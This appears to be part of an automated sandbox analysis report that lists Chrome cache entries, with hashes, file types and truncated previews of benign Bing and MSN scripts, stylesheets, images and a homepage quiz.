Preview:	<svg width="16" height="16" viewBox="0 0 16 16" fill="none" xmlns="http://www.w3.org/2000/svg"><path d="M5.99998 3V6.68895C5.99998 7.13159 5.88246 7.56629 5.65943 7.94863L5.04612 9H10.9538L10.3405 7.94863C10.1175 7.56629 9.99998 7.13159 9.99998 6.68895V3H10.5C10.7761 3 11 2.77614 11 2.5C11 2.22386 10.7761 2 10.5 2H5.49997C5.22383 2 4.99997 2.22386 4.99997 2.5C4.99997 2.77614 5.22383 3 5.49997 3H5.99998ZM11.5372 10H4.46278L3.44536 11.7441C2.86203 12.7441 3.58334 13.9999 4.74103 13.9999H11.2589C12.4166 13.9999 13.1379 12.7441 12.5546 11.7441L11.5372 10Z" fill="#767676"/></svg>

Chrome Cache Entry: 525

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (29136), with CRLF, LF line terminators
Category:	dropped
Size (bytes):	48402
Entropy (8bit):	5.486740064075246
Encrypted:	false
SSDEEP:	768:KkuL2ym/YIZE2u16tNz14nOIqV7yWO7JUDWvjygz+YIdQFSO4FWCPPZPzAT8SjF2:D3+WSjyJ1FWCpPwONifi
MD5:	46C6EFFE39D688A2D00954523D794A8E
SHA1:	4808256B782B9F9FAD121673EDD55B26D9F85720
SHA-256:	E5CECE6872A76D1A5F75C373C044C9CC599EDFCA89CA00CDC5ABB34E44B19B88
SHA-512:	43706EFA4F1A2C76EFC780B07E9DB033F6E83FE109ADD227C4D1F1FD14E3088F4231D78294A6E708D1D9ED7B20893829639390DF46A1C41B343B62F3304D9458
Malicious:	false
Reputation:	unknown
Preview:	<style type="text/css">#sbiarea,#sbicom{display:none}.hassbi #sbiarea{display:inline-block}#sbiarea{margin:0 0 0 18px}.sbox #sb_form #sbiarea{margin:0}#sb_sbi{display:inline-block;cursor:pointer}img#sbi_b{vertical-align:-2px;height:20px;width:20px}#detailPage #detailheader img#sbi_b,.blue2#miniheader img#sbi_b,.sbox img#sbi_b{vertical-align:-3px}.blue2#miniheader img#sbi_b{vertical-align:-1px}#sbi_b.grayscaled{filter:grayscale(1) brightness(1.4);-webkit-filter:grayscale(1) brightness(1.4)}#sbi_b.grayscaled:hover{filter:grayscale(1) brightness(1);-webkit-filter:grayscale(1) brightness(1)}#sb_sbip[shdlg] #sbi_b{filter:grayscale(0);-webkit-filter:grayscale(0)}#sb_sbip .rms_iac{display:inline-block}#sb_sbip:not(.disableTooltip):hover::before,#sb_sbip.shtip:not(.disableTooltip)::before,#sb_sbip[vptest]::before{bottom:-27px;left:10px;z-index:6}#sb_sbip:not(.disableTooltip):hover::after,#sb_sbip.shtip:not(.disableTooltip)::after,#sb_sbip[vptest]::after{top:40px;left:10px;z-index:4}#hp_contain

Chrome Cache Entry: 526

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (1274), with no line terminators
Category:	dropped
Size (bytes):	1274
Entropy (8bit):	5.30620342636407
Encrypted:	false
SSDEEP:	24:+Fq4YTsQF61KWllWeM2lSoiLKiUfpIYdk+fzWPn8X0kdo6QBUf4JPwk:+FGF6UYXEBi9k5P8OPUY
MD5:	A969230A51DBA5AB5ADF5877BCC28CFA
SHA1:	7C4CDC6B86CA3B8A51BA585594EA1AB7B78B8265
SHA-256:	8E572950CBDA0558F7B9563CE4F5017E06BC9C262CF487E33927A948F8D78F7F
SHA-512:	F45B08818A54C5FD54712C28EB2AC3417EEA971C653049108E8809D078F6DD0560C873CEB09C8816ECD08112A007C13D850E2791F62C01D68518B3C3D0ACCCEB
Malicious:	false
Reputation:	unknown
Preview:	var Identity=Identity\|\|{};(function(n,t,i,r,u,f,e){e.wlProfile=function(){var r=sj_cook.get,u="WLS",t=r(u,"N"),i=r(u,"C");return i&&e.wlImgSm&&e.wlImgLg?{displayName:t?t.replace(/\+/g," "):"",name:n(t.replace(/\+/g," ")),img:e.wlImgSm.replace(/\{0\}/g,f(i)),imgL:e.wlImgLg.replace(/\{0\}/g,f(i)),idp:"WL"}:null};e.headerLoginMode=0;e.popupAuthenticate=function(n,i,r){var o,u,h,c,v=sb_gt(),l=Math.floor(v/1e3).toString(),s="ct",a=new RegExp("([?&])"+s+"=.*?(&\|$)","i");return n.toString()==="WindowsLiveId"&&(o=e.popupLoginUrls,u=o[n],u=u.match(a)?u.replace(a,"$1"+s+"="+l+"$2"):u+"?"+s+"="+l,e.popupLoginUrls.WindowsLiveId=u),(o=e.popupLoginUrls)&&(u=o[n]+(i?"&perms="+f(i):"")+(r?"&src="+f(r):""))&&(h=e.pop(u))&&(c=setInterval(function(){h.closed&&(t.fire("id:popup:close"),clearInterval(c))},100))};e.pop=function(n){return r.open(n,"idl","location=no,menubar=no,resizable=no,scrollbars=yes,status=no,titlebar=no,toolbar=no,width=1000,height=620")};var s=u("id_h"),o=u("id_l"),h="click";t.bind("o

Chrome Cache Entry: 527

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, baseline, precision 8, 268x224, components 3
Category:	dropped
Size (bytes):	5074
Entropy (8bit):	7.845195053496952
Encrypted:	false
SSDEEP:	96:NVC4ORjlM/XnhJ+/Tx4YMbLdDbfYnhFwQ/9QDRaHqbRKrfSILbt3F:N4pZ/ynbJDbQnHwQ1uRQqborfSID
MD5:	338F65B713FB3223DD2E2CDA761C9911
SHA1:	A1B5C82607FDD1AE7C863F26B075850C39371030
SHA-256:	9F6623F0BD4CEFB55110513DEC68EE7F903FEBD45DB753C8ABF6DE8D143D4CC5
SHA-512:	AE56E91779CF2839B848EDDD8D872381FCD1BE66392F5EC44AE337D85896BA9D88736F074844F7AF04C5B38BE9629B922FA50008A7603DE341BCA3F668DC0E52
Malicious:	false
Reputation:	unknown
Preview:	......JFIF.............C.......................................%..%....)).%756.2>-)0.;!....C...........,...,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,..........."........................................B.........................!1..AQ.."aq...2R..#Bbr.....$%CSc..34Es................................".......................!.1.Q"2Aq............?.........dI2 ""." "'.n.v..L...6.1.u.W..dp.....H.b...'3..<7..L.....T...{...zE..s..O...V......00....Uf.He..XnylH.W9b#.~.)..o..t.Hf...n.kvJ.s.v(X..]H.<.....i8...z&..mn}..X..T......o..;..-....qN+x..........."L.D@DD.D@DD.D@DD..$.........>;..p....Z....y.5n.f.1Z.y.....~....u.]..&H........$.Yh..Lw2.Wu..lu..7#.6..D..{/nkW...>.}.k.........j..C..z...../X....n.~.v.........SK.s........]..U[P..?9.M....[.$...%.D@DD.D@I.&." ""." ""." ""..d@DD.D@N[.l.;3.[.Fj.n..N_C..3...zSM.s...8oi.Y.+.vw,..VOq.....d....)...m.rB.r..e.Bs........S..}SG..:+7..<vW...h.z..n9....w.........^~<n..&..i.(....Q...O..fdD.y...DD ........2$.DD.D@DD.D@D

Chrome Cache Entry: 528

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	downloaded
Size (bytes):	395697
Entropy (8bit):	5.91590407182338
Encrypted:	false
SSDEEP:	6144:EF31/DZV2feDPlwk0gXFjRdQD8g3DpiUuEv:g1/T2GDbXTDgjB
MD5:	B54ADBC21E9E3AED86E1DDDE37C5CA97
SHA1:	4BBEDE66F8265117D5AECF21C9433643D5A792F7
SHA-256:	AE20917774D90D41E06253B61F72DB157F25A3CF44150AA3BB6780536260CC80
SHA-512:	5613E3E67FD5BBDD281E96AA20C850B08713EBB6AD181D8B7B935C622E0B8A7B5D6979CD43624D447345D14A426999BD0932C513B3C1FC9CBF49CDE2F608E5EF
Malicious:	false
Reputation:	unknown
URL:	https://r.bing.com/rp/S77eZvgmURfVrs8hyUM2Q9Wnkvc.js
Preview:	var __assign=this&&this.__assign\|\|function(){return __assign=Object.assign\|\|function(n){for(var t,r,i=1,u=arguments.length;i<u;i++){t=arguments[i];for(r in t)Object.prototype.hasOwnProperty.call(t,r)&&(n[r]=t[r])}return n},__assign.apply(this,arguments)},__rest=this&&this.__rest\|\|function(n,t){var u={},r;for(var i in n)Object.prototype.hasOwnProperty.call(n,i)&&t.indexOf(i)<0&&(u[i]=n[i]);if(n!=null&&typeof Object.getOwnPropertySymbols=="function")for(r=0,i=Object.getOwnPropertySymbols(n);r<i.length;r++)t.indexOf(i[r])<0&&Object.prototype.propertyIsEnumerable.call(n,i[r])&&(u[i[r]]=n[i[r]]);return u},__spreadArray=this&&this.__spreadArray\|\|function(n,t,i){if(i\|\|arguments.length===2)for(var r=0,f=t.length,u;r<f;r++)!u&&r in t\|\|(u\|\|(u=Array.prototype.slice.call(t,0,r)),u[r]=t[r]);return n.concat(u\|\|Array.prototype.slice.call(t))},__awaiter=this&&this.__awaiter\|\|function(n,t,i,r){function u(n){return n instanceof i?n:new i(function(t){t(n)})}return new(i\|\|(i=Promise))(function(i,f){functi

Chrome Cache Entry: 529

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1225
Entropy (8bit):	5.268483399933616
Encrypted:	false
SSDEEP:	24:YuJGpv0vtRWCsG65UGbOoOx7FQLRWCsG65UGpuA+oOYhHHURWCsG65UGRIoXXc:YRl0vAG6JbsQeG6Jg+BHTG6JRu
MD5:	F7E31D867F86464E752C85C32C5042F5
SHA1:	3760C207BFBC44427A2784A1DD379EBC92234457
SHA-256:	ADBE195CDF90F061AF812544C1063E7A2B0DFAE84B47B0A2D571210F6BFDC85B
SHA-512:	68CB822EE77E58E08E95847A579407C3EF8A60B54E194B1225EDC0EF512ED9A845BD1F0475536B9DCD154BB5B5ED6A141478BCFEEAFAF424489E4253F569B6A7
Malicious:	false
Reputation:	unknown
Preview:	{"title":"","data":{"question":"What's the name of this eye-catching building at the CERN particle physics research center?","options":[{"text":"Exploratorium","url":"/search?q=globe+of+science+and+innovation&filters=IsConversation%3A%22True%22+btrequestsource%3A%22homepage%22+WQOskey%3A%22HPQuiz_20231206_CERNCenter%22+WQId%3A%221%22+WQQI%3A%220%22+WQCI%3A%220%22+UserChoices%3A%220%22+ShowTimesTaskPaneTrigger%3A%22false%22+WQSCORE%3A%220%22&FORM=HPQUIZ","bullet":"A"},{"text":"Center for Innovators and Dreamers","url":"/search?q=globe+of+science+and+innovation&filters=IsConversation%3A%22True%22+btrequestsource%3A%22homepage%22+WQOskey%3A%22HPQuiz_20231206_CERNCenter%22+WQId%3A%221%22+WQQI%3A%220%22+WQCI%3A%221%22+UserChoices%3A%221%22+ShowTimesTaskPaneTrigger%3A%22false%22+WQSCORE%3A%220%22&FORM=HPQUIZ","bullet":"B"},{"text":"The Globe of Science and Innovation","url":"/search?q=globe+of+science+and+innovation&filters=IsConversation%3A%22True%22+btrequestsource%3A%22homepage%22+WQOskey

Chrome Cache Entry: 530

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (3363), with no line terminators
Category:	downloaded
Size (bytes):	3363
Entropy (8bit):	5.195022922251816
Encrypted:	false
SSDEEP:	48:rVnoyUQXHE2ugs6SI7kVsP1mB88bTg7IYeYU5qnjRXpHNXhgkGq:Z+yhCPFy12dbTQ3k5GjZjr
MD5:	FABB77C7AE3FD2271F5909155FB490E5
SHA1:	CDE0B1304B558B6DE7503D559C92014644736F88
SHA-256:	E482BF4BAAA167335F326B9B4F4B83E806CC21FB428B988A4932C806D918771C
SHA-512:	CABB38F7961AB11449A6E895657D39C947D422F0B3E1DA976494C53203E0E91ADFC514B6100E632939C4335C119165D2330512CAA7D836A6C863087775EDAA9F
Malicious:	false
Reputation:	unknown
URL:	https://r.bing.com/rp/zeCxMEtVi23nUD1VnJIBRkRzb4g.js
Preview:	var __spreadArray=this&&this.__spreadArray\|\|function(n,t,i){if(i\|\|arguments.length===2)for(var r=0,f=t.length,u;r<f;r++)!u&&r in t\|\|(u\|\|(u=Array.prototype.slice.call(t,0,r)),u[r]=t[r]);return n.concat(u\|\|Array.prototype.slice.call(t))},AccountLink;(function(n){function h(n,t){var i=a(n.accLinkRefreshEndPointUrl),r={url:i,requestType:"GET",onSuccess:t.onSuccess,onError:t.onError};v(r)}function s(n){var t=c(n);h(n,t)}function c(n){return{onSuccess:function(n){var e=sb_gt(),o=Math.floor(e/1e3)1e3,f;sj_cook.set(r,u,o.toString(),!0,"/");t("Refresh Account Link info Success");i("onRefreshAccountLinkInfoResponse","success");f={IsTenantAllowAccountLink:n.IsTenantAllowAccountLink,HasLinkedAccount:n.HasLinkedAccount};n.AccountLinkUpdated&&(t("fire acclink:updated"),sj_evt.fire("acclink:updated",f));n.HasLinkedAccount&&n.IsTenantAllowAccountLink&&i("onRefreshAccountLinkInfoResponse","hasActiveLinkedAccount")},onError:function(f,e,o){var s=sb_gt(),h=Math.floor(s/1e3)1e3,c=h-(n.refreshAccountLink

Chrome Cache Entry: 531

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 300x225, components 3
Category:	dropped
Size (bytes):	17966
Entropy (8bit):	7.95135880222522
Encrypted:	false
SSDEEP:	384:eH0LPvja12W5WOUsC4gFzXtZP3RIajeLdw85VKtlaweyP:e8rKYdsCPFzXtZP3KaqptvKtdP
MD5:	2631B99991C45DD2F494B063688D4182
SHA1:	841E749B1F8D3101BA4754B66044F45D5DC3C3B7
SHA-256:	9F2670B8A2FA7E41DAB2FD035C09AA221F5F2A38B71C5B2A8EF03C0FDB335295
SHA-512:	159C28400BBF813ADE7DDE2F535DDB46D5935DB090B3DAAECB9BC6FC7E15611DCB235E81754658DB54BCB13876C52F480F61F32F1D16E3625CCC685A0E83459F
Malicious:	false
Reputation:	unknown
Preview:	......JFIF.....`.`.....C....................................................................C.........................................................................,.."............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?...cm8c..'.....#.C.x..).....o.Ph.#.)8..(....(.`...}4..2.t...W.#c....5..m......Oj.K.]...j..f=:.[........C?.}....ij}k.r..<#..?...j.y.<Q..R.?.}fx.?...r..8.WI.L.b............k.',4.f2..H.>..ZO..r....-....^A.}?.ni.v....4.......z.w.\|.oN.!W......%..^....Q...Y'.G....3S..}.ZB~.jX.zW.....E..o+..f...=...q.N.?.}!..Uq.`b.9..{l......'.o.Y..8O.+Y.r...W.......Z4...:........

Chrome Cache Entry: 532

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 300x225, components 3
Category:	downloaded
Size (bytes):	12412
Entropy (8bit):	7.955100286795984
Encrypted:	false
SSDEEP:	384:esULsp0eWjZxP9+uUfCHINPnFvsjdW1N05n:e4pzyZj+FKHuZi414
MD5:	83424BBDE15001754CD2615CCD2E4021
SHA1:	F23C38D3B1E5FE98DDA52664FB613668E087847B
SHA-256:	ED065140F836882523191F5C70D2C0EE09EADE9DF6A30032AAC698D5AC142D4E
SHA-512:	65BD10E07945D704AE8879E7F4935B01229F732E71661729C4101813E86217B391BB095CEF7A6703AC6518776E288C834A9501996BD63D42A47D7B47C763F1E2
Malicious:	false
Reputation:	unknown
URL:	https://th.bing.com/th?id=ORMS.d201a110a79608b378818c3bb714ef35&pid=Wdp&w=300&h=225&qlt=90&c=1&rs=1
Preview:	......JFIF.....`.`.....C....................................................................C.........................................................................,.."............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.......6..;..u..\.&.0.K.....V.W,F..S..........N.P.<S.?.D.;4.;sz.c..4.<.....sN...<.@...n.ZNipM+.77....V.0h....i7..?ZE../'.h.G...x..+....5!z.YG...j..#.....2....2.j7.kkZz........G....W..~..E.A...........O......R.....k..&\|F.....F?.....vu{H....4.*.c.,N...k...?.s.../..m2...s.t#.UN.zpM\|....k...+..<.u/.$bb....Q.8.]..3....<DW...'..bF.\|o........{q.]6...Wliz......

Chrome Cache Entry: 533

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	512
Entropy (8bit):	6.138622783108757
Encrypted:	false
SSDEEP:	12:6v/7rbN3Keisi90P5962MoQ4pQOIAfNUO:GRY90P5962MoQ49h1
MD5:	7EA4AA4FC9B9EA70D120871DF6C70D4C
SHA1:	B22CDA6881D47551B9A3F67AEA614AA7539BB28E
SHA-256:	340953BEA529B7206B1285B455DCAB9DD7B2893676DD175ABBABEB7986B8B8C9
SHA-512:	B13F8FF07D90637107ADD189A3991753F424D808198924E3EA1689A382635077A4902728599FF162CB983C6C0E65C7CE3C6E06A127D0F3E10F43EB7B76A57B87
Malicious:	false
Reputation:	unknown
URL:	https://img-s-msn-com.akamaized.net/tenant/amp/entityid/AA4QDcg.img?w=16&h=16&q=100&m=6&f=png&u=t
Preview:	.PNG........IHDR................a....pHYs..........+.....=IDATx...ON.@..g.Uw...'...!.@..=.6..w...7DHX.Jz.C).(..x.aG...2d::.o.....c.}..?....ZW..>@.EA/v....^...z.<....L...R..p8...@'@....)..[...b.^m..-4.........f SO.@?. M...T..._.....W.J.s.]......h@h.ls.%.^6....>......R4.Z....X)~rtzQ....}-X5N@<....-jx.2.A.D1.......}}...'...........vt..(..7.d."..w...4.}.`.m.].w.Bu.y.!.....IEND.B`......................................................................................................................

Chrome Cache Entry: 534

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 380 x 32, 16-bit gray+alpha, non-interlaced
Category:	downloaded
Size (bytes):	2652
Entropy (8bit):	7.884709708562161
Encrypted:	false
SSDEEP:	48:javK4OjNcIpDuhI/hQcktCY6np7Rad4iB+sWNEFMm0483DYqTNcw+Cg8oUvQ9hpB:uvMFpDSI/hS6npE4iks0x4KPGwnZQ9h3
MD5:	5AB91626593CEE8F79A724655354F70A
SHA1:	F6BA164760F978FB493330FDB5B6844AF3B6257C
SHA-256:	BB0CEB73EF7F49DBC91DC80467CECA366DCEC34D8B8B45F4983281CC98F9AE11
SHA-512:	1DA37EBA980A70B695071061E9003D36AAE6D8D64FEEDEA481949B11EF63D4E52D0D29A62B3CABB33859BBF3E74A2769DA6F01D0DEE458F016BF8668BCD726C5
Malicious:	false
Reputation:	unknown
URL:	https://www.bing.com/rp/9roWR2D5ePtJMzD9tbaESvO2JXw.png
Preview:	.PNG........IHDR...\|... ......E.:...#IDATx..n.>../....~-......G(ba.. u.C.+.j..JH..A.N........F.u........YQ...9...qns%..#M.....\|y0@..^[...X..sS......c..3....7....GG....[].....4.^7...g}..}...~......w.....d.....9/.x...c[...I.....i.~7.$....f.....%..9.v.......Nx.........`.M....o.....4..............^...7.7.l?~?......w..xnn0.u..;...33Z.\|..oY......=..W...iv\.`Js.ek.4...........h..gZ.+".)&d.K`...d...A.H.....p..=.}.X..'.m.w.~.>.M30........O./.yV..?..5I.....Q..?\E..3.>H....hq.X........x0..Fj..H.Cy......d b.(..2m.......l...%9..Uu..}.d_..y..Z....m..C....j..k..y....<........paa8L...y3....{".%....o....._O.p.hd.oilWu..T......a....:..-6..@....S.p.^.3....R''.....q.KH.<.../..?.:m.WV..].k........lN...9...1..">.s...{..B....n{P.....^\ll...a@n&.. l....[.._....S..X...{.+...`..~.+.........T....~.....q..>.Z.=)+.a........f&.+uu......j.h....~..a..[...c...j8..._...^.n5.M..u.J.\|Z}.`....g.h....J....w....{.~R..T...]N.A...M.N.n..id.>.W...xY.rl/...\..\W9^=...~..

Chrome Cache Entry: 535

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 186x88, components 3
Category:	downloaded
Size (bytes):	4696
Entropy (8bit):	7.898032061199841
Encrypted:	false
SSDEEP:	96:8zgELg6QesrLr5dGzL8YXhtqz+EGFLRi2mzFRD744F60+s:yge5QeiLr5dOXhtqz+EWLRi2m5R/44M0
MD5:	AC36744E320D289F2FA9638B77888EBB
SHA1:	C2D866679F2494D9CC12232F8A078C99D40296CD
SHA-256:	1B0E600A77F4F37A651E33C7F78A5A07CCFCA6EE12D5F33DFC556F891FA270E0
SHA-512:	B6A23B2AB56CD3D3220739FAF212149137C796DED2B9989CB12E842085950C7847CA9B957A85C1C256A05D22FCA51F729B30E9A25CF49BB483D5A2D2B30FAF50
Malicious:	false
Reputation:	unknown
URL:	https://www.bing.com/th?id=OPN.RTNews_xpxoqGwi6YDOE9mPHw967g&w=186&h=88&c=7&rs=2&qlt=80&pid=PopNow
Preview:	......JFIF.....`.`.....C.....................................'!..%..."."%()+,+. /3/2'+...C..............*************************************************......X...."............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?......JU.g..U3Z7R..\|.n.-.Gj...".t..l..7]..7.......,D.E..t...<..\|O..C.3....i.+..~..W..U.._...}....V....5..;...z..i.f......E...s.h....Ym..%M.?..FH....^...Xd2.&.:..A'..9#.c..Mk.....'p.7........N).Z..,..D.K...../..bU...>.1....jk...O..Mr...E.....q..c.z..]{y"..xd...&.r=.......Wipg.Y"..,$'p.>.V.X..V.....rIo..c].?.?.X..S,.....\|.....`{.U......3.#..U]......X.n.

Chrome Cache Entry: 536

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with very long lines (1587), with no line terminators
Category:	dropped
Size (bytes):	1589
Entropy (8bit):	5.24528911504239
Encrypted:	false
SSDEEP:	48:KyskFELbJnSYVtXpQyL93NzpGaQJWA6vrIhf7:KybibJnSE5aU93HGaQJWAiIh
MD5:	CB027BA6EB6DD3F033C02183B9423995
SHA1:	368E7121931587D29D988E1B8CB0FDA785E5D18B
SHA-256:	04A007926A68BB33E36202EB27F53882AF7FD009C1EC3AD7177FBA380A5FB96F
SHA-512:	6A575205C83B1FC3BFAC164828FBDB3A25EAD355A6071B7D443C0F8AB5796FE2601C48946C2E4C9915E08AD14106B4A01D2FCD534D50EA51C4BC88879D8BEC8D
Malicious:	false
Reputation:	unknown
Preview:	var wln=wln\|\|"",Identity;(function(n){function i(n){n.style.display="none";n.setAttribute("aria-hidden","true")}function r(n){n.style.display="inline-block";n.setAttribute("aria-hidden","false")}var u,t;n&&n.sglid&&n.setLoginPreference&&sj_be&&sj_cook&&sj_evt&&_d&&typeof _d.querySelectorAll!="undefined"&&(u=function(n){var i=n.getAttribute("data-a"),t=n.getAttribute("data-p");i==="false"&&t!=null&&sj_be(n,"click",function(){sj_cook.set("SRCHUSR","POEX",t,!0,"/")})},sj_evt.bind("identityHeaderShown",function(){var n=!1;sj_be(_ge("id_l"),"click",function(){var i,t;if(!n){for(i=_d.querySelectorAll(".b_imi"),t=0;t<i.length;t++)u(i[t]);n=!0}})},!0));sj_evt&&n&&(t=function(t){var h;if(t==null\|\|t.idp!=="orgid"\|\|(h=n.wlProfile(),h==null\|\|h.name==null\|\|t.name!=null)){var e=_ge("id_n"),u=_ge("id_p"),o=_ge("id_s"),s=_ge("id_a"),f=t?t.displayName:wln,c=t?t.img:null,l=t?t.idp:null,a=t?t.cid:null;e&&s&&(a\|\|f)?(u&&c&&(u.title=f,u.src=c,r(u)),f.length>10&&(f=f.substring(0,10).replace(/\s+$/,"")+".")

Chrome Cache Entry: 537

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (1051), with no line terminators
Category:	dropped
Size (bytes):	1051
Entropy (8bit):	5.354709142801451
Encrypted:	false
SSDEEP:	24:2QmZ6qv3dhazSaxa7onMZN1GqPTz0KmNn4zVAoL3tMTCDU1FA9zR9uHemdXp:2Om74MZN1tPv0KmNjAtMGDTzRPo
MD5:	F76D06D7669E399DC0788BC5473562BB
SHA1:	159293D99346A27E2054A812451909DE832CA0D1
SHA-256:	23F0357AE77648EE38F39960E56507D87F8D690C48E759A0E054F6E691C843EC
SHA-512:	F5BA3C997F980A2B3DA8B93D0DFF351FA6796BAA705E7831F9EFED24A6C4F0FAAF84CC7F31AC5DAC8A8D05D8D0491ECCD03EDF5892B28B639CBB107271FEB893
Malicious:	false
Reputation:	unknown
Preview:	(function(){function t(t){typeof Log!==n&&typeof Log.Log!==n&&Log.Log("NcHeader","Rewards",t,!0)}function i(){var u,e,r,a,o,v,y,s,i,h;if(typeof bepcfg===n)t("bepcfg Undefined");else if(u=_ge("nc_iid"),u){var c=typeof bepcfg.wb!==n,l=typeof bepcfg.v!==n,f=u.getAttribute("_IG");if(f&&f.length\|\|(f=_G.IG),e="&IID="+u.getAttribute("_iid")+"&IG="+f,l)try{sj_cook.get("")}catch(p){e+="&CID="+u.getAttribute("_cid")}r="/rewardsapp/ncheader?ver="+_G.AppVer+e;a=r;try{o=undefined;v=/(^\|&)uncrunched=1(&\|$)/i;o=v.exec(_w.location.search.substr(1));r=r+(o?"&uncrunched=1":"")}catch(w){r=a}y=_ge("rewardsEntryPoint");y&&(r="".concat(r,"&loadEntryPointsScript=1"));s=[_w.top,_w];i=sj_gx();i.open("POST",r,!0);i.setRequestHeader("Content-type","application/x-www-form-urlencoded");c&&(i.onreadystatechange=function(){i&&i.readyState==4&&i.status==200&&sj_appHTML(sj_b,i.responseText)});h="wb="+(c?bepcfg.wb:"0");l&&(h+=";i="+(s[0]!==s[1].self?0:1)+";v="+bepcfg.v);i.send(h)}else t("nc_iid NotFound")}var n="undefi

Chrome Cache Entry: 538

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 186x88, components 3
Category:	dropped
Size (bytes):	4702
Entropy (8bit):	7.908615151669561
Encrypted:	false
SSDEEP:	96:8zgEOfrFOWMXq8PqxbWONf+WRyA+q1gCD3+QoB8bgowqPyd3z0xASCj9:yg3rFn5oyWOcA+TbB8rnydY5CB
MD5:	AA85C3D853681CD9AD20156F0C2A5A13
SHA1:	FDE2AFDB5FF99B01B128ADF884FB5D58A8EE6ECA
SHA-256:	3F59CB9286158272E139D490F68557B00519E6D7414CEBDBE369E28E80DA398B
SHA-512:	CDEA0C701C9B5496B07659452959A48B49897BF7B91B12CD64D77AAEFA9FD22A3EC0AF1D36C176D9C5D4102DE8439E00A9D2C9EA6A125ACAA99B0B36B5C9DEBB
Malicious:	false
Reputation:	unknown
Preview:	......JFIF.....`.`.....C.....................................'!..%..."."%()+,+. /3/2'+...C..............*************************************************......X...."............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?......`vI..O.W;....f.._......U...]y...6....}k<L#.s...-..u.[...Z.c9.z~U..V..#q..yd'....%{..l....Ga^+...^..Z....k..V\.#...+&.=...H^e...j.<;sul. .....?..J..4.q.o.>.[...R...5.....+IR....).OucJ..7.DdY-.\.........\I./....q#.U.}~;{..4o.q.zf.\|..f.v[...)(I..3.............c.......%.....;.\..QS...s..S.6^....X...A .."u).N..9=+...Q..Wf..k...[e.....aU\|K...Z...._..

Chrome Cache Entry: 539

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (17377), with no line terminators
Category:	downloaded
Size (bytes):	17377
Entropy (8bit):	5.2783776268189255
Encrypted:	false
SSDEEP:	384:3Wsj/9NFzdlfOw3QMXEwOAw3KvyBJeXi5OFvKh12tqRxW+:3z/PFzdzXEwCanXigFvKh1SW3
MD5:	11ADDDD4A61714E7DC173B0FCC2CDC71
SHA1:	4CCC5FBDEA47DF0BD5EDDF4A86443A2F1ADB1B34
SHA-256:	C64240AF9771BA3742BF06198EA33BBA40CAA0AA93FE1B9574B3345D372A8E82
SHA-512:	22FC44E2C2950579443743AC95081540667BB9D8287BF4DD0B3D68468FAC8411D25B1B6E6BCFCD86EEF7437C2C6CA77B7BB579778FDEF343EF589C9CA7C828A4
Malicious:	false
Reputation:	unknown
URL:	https://www.bing.com/rp/TMxfvepH3wvV7d9KhkQ6LxrbGzQ.js
Preview:	var customEvents,__spreadArray,fallbackReplay,EventLoggingModule;_w.EventsToDuplicate=[];_w.useSharedLocalStorage=!1;define("shared",["require","exports"],function(n,t){function s(n,t){for(var r=n.length,i=0;i<r;i++)t(n[i])}function r(n){for(var i=[],t=1;t<arguments.length;t++)i[t-1]=arguments[t];return function(){n.apply(null,i)}}function u(n){i&&event&&(event.returnValue=!1);n&&typeof n.preventDefault=="function"&&n.preventDefault()}function f(n){i&&event&&(event.cancelBubble=!0);n&&typeof n.stopPropagation=="function"&&n.stopPropagation()}function e(n,t,i){for(var r=0;n&&n.offsetParent&&n!=(i\|\|document.body);)r+=n["offset"+t],n=n.offsetParent;return r}function o(){return(new Date).getTime()}function h(n){return i?event:n}function c(n){return i?event?event.srcElement:null:n.target}function l(n){return 